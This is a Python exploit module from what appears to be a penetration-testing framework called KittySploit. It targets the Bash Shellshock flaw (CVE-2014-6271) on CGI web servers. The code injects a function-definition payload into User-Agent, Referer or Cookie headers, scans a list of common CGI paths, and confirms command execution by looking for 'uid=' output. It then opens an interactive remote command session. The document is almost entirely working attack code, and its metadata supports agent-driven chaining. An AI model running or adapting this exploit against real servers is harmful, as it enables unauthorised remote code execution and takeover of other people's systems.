Bash Shellshock HTTP CGI RCE (CVE-2014-6271)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Bash Shellshock HTTP CGI RCE (CVE-2014-6271) — execute session."""

from __future__ import annotations

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Bash Shellshock HTTP CGI RCE (CVE-2014-6271)',
        'description': (
            'Exploits CVE-2014-6271 by injecting () { :;}; into HTTP headers against '
            'CGI-enabled paths. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-6271', 'CVE-2014-6278'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2014-6271',
        ],
        'tags': ['bash', 'shellshock', 'cgi', 'rce', 'unauth', 'kev', 'cve-2014-6271'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'Shellshock CGI header'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2014_6271_detect'],
            },
        },
    }

    cgi_path = OptString('', 'CGI path (auto-discover if empty)', False, advanced=True)
    header = OptChoice(
        'User-Agent',
        'HTTP header carrying Shellshock payload',
        False,
        choices=['User-Agent', 'Referer', 'Cookie'],
        advanced=True,
    )

    _PATHS = (
        '/cgi-bin/status',
        '/cgi-bin/test.cgi',
        '/cgi-bin/test-cgi',
        '/cgi-bin/printenv',
        '/cgi-bin/php',
        '/cgi-sys/defaultwebpage.cgi',
        '/cgi-sys/entropysearch.cgi',
        '/',
    )

    def _payload(self, cmd: str) -> str:
        safe = str(cmd).replace(';', '')
        return (
            '() { :;}; echo Content-Type: text/plain; echo; echo; '
            'PATH=/usr/bin:/usr/local/bin:/bin; export PATH; '
            f'{safe};'
        )

    def _probe(self, path: str, header: str, cmd: str) -> str:
        r = self.http_request(
            method='GET',
            path=path,
            headers={header: self._payload(cmd)},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def _discover(self, cmd: str = 'id') -> tuple[str, str] | None:
        if self.cgi_path:
            path = str(self.cgi_path)
            if not path.startswith('/'):
                path = '/' + path
            body = self._probe(path, self.header, cmd)
            if re.search(r'uid=\d+', body):
                return path, self.header
            return None
        for path in self._PATHS:
            for field in ('User-Agent', 'Referer', 'Cookie'):
                body = self._probe(path, field, cmd)
                if re.search(r'uid=\d+.*gid=\d+', body):
                    self._hit_path = path
                    self._hit_header = field
                    return path, field
        return None

    def execute(self, cmd: str) -> str:
        path = getattr(self, '_hit_path', None) or self.cgi_path
        header = getattr(self, '_hit_header', None) or self.header
        if not path:
            hit = self._discover(cmd)
            if not hit:
                return ''
            path, header = hit
            self._hit_path = path
            self._hit_header = header
        if not str(path).startswith('/'):
            path = '/' + str(path)
        return self._probe(str(path), str(header), cmd)

    def check(self):
        hit = self._discover('id')
        if hit:
            self._hit_path, self._hit_header = hit
            return {
                'vulnerable': True,
                'reason': f'Shellshock confirmed on {hit[0]} via {hit[1]}',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No Shellshock response on common CGI paths',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()